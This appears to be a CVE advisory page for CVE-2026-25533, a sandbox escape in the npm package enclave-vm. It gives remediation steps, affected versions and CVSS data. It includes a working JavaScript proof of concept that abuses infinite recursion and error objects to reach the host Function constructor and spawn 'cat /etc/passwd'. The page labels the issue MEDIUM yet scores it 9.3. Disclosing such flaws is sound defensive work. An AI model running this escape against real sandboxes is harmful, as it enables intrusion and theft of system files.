Loading...
Skip to main content

CVE-2026-25533 — Vulnerability in enclave-vm — CVE Details

MEDIUM

Sandbox escape via infinite recursion and error objects

Published February 5, 2026Updated February 7, 2026Source: osv

Summary

**Note:** The npm package has moved to `@enclave-vm/core` (formerly `enclave-vm`). All fixed versions and guidance refer to `@enclave-vm/core`. ### Summary The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references. ### Details There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox. ### PoC The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0. ```js import { Enclave } from 'enclave-vm'; // Create enclave with a tool handler const enclave = new Enclave({ timeout: 5000, maxToolCalls: 10, maxIterations: 1000, toolHandler: async (toolName, args) => { // Your tool execution logic return { success: true, data: `Called ${toolName}` }; }, }); // Execute AgentScript code const result = await enclave.run(` let res = null, rootProt = null; let a = () =>{ try { a(); } catch (e) { rootProt = e[["__proto__"]][["__proto__"]][["__proto__"]]; res=e.stack } } a(); rootProt[["foo"]] = rootProt[["toString"]][["constructor"]] rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())")(); `); ``` ### Impact Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.

Advisory Timeline

  • First published February 5, 2026 (249 days ago).
  • Last revised February 7, 2026 — 1 day after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update @enclave-vm/core to 2.10.1 or later
npm install @enclave-vm/core@2.10.1

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: npm (2).

PackageEcosystemAffectedFixed In
enclave-vm
npm
All versionsRange-based data available
@enclave-vm/core
npm
All versions2.10.1

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

Frequently Asked Questions

What is CVE-2026-25533?
Sandbox escape via infinite recursion and error objects This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 9.3/10).
How do I check if my project is affected by CVE-2026-25533?
CVE-2026-25533 affects enclave-vm and @enclave-vm/core. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-25533 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.3

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-x39w-8vm5-5m3p

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies